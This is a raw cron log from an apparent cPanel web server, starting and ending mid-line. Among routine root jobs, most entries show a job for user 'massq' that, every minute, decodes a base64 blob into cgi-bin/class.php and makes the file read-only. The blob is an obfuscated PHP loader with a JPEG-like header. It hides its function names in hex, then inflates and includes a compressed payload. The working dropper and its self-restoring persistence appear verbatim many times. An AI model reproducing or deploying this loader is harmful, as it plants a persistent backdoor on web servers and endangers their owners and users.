k7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:17:01 server CROND[5009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:18:01 server CROND[5051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:19:01 server CROND[5117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:20:01 server CROND[5172]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 02:20:01 server CROND[5173]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 02:20:01 server CROND[5174]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 02:20:01 server CROND[5176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:20:01 server CROND[5178]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 02:21:01 server CROND[5281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:22:01 server CROND[5322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:23:01 server CROND[5478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:24:01 server CROND[5529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:25:01 server CROND[5575]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 02:25:01 server CROND[5576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 02:25:01 server CROND[5577]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  9 02:25:01 server CROND[5578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:26:01 server CROND[5683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:27:01 server CROND[5743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:27:01 server CROND[5744]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 02:28:01 server CROND[5898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:29:01 server CROND[5953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:30:01 server CROND[6020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 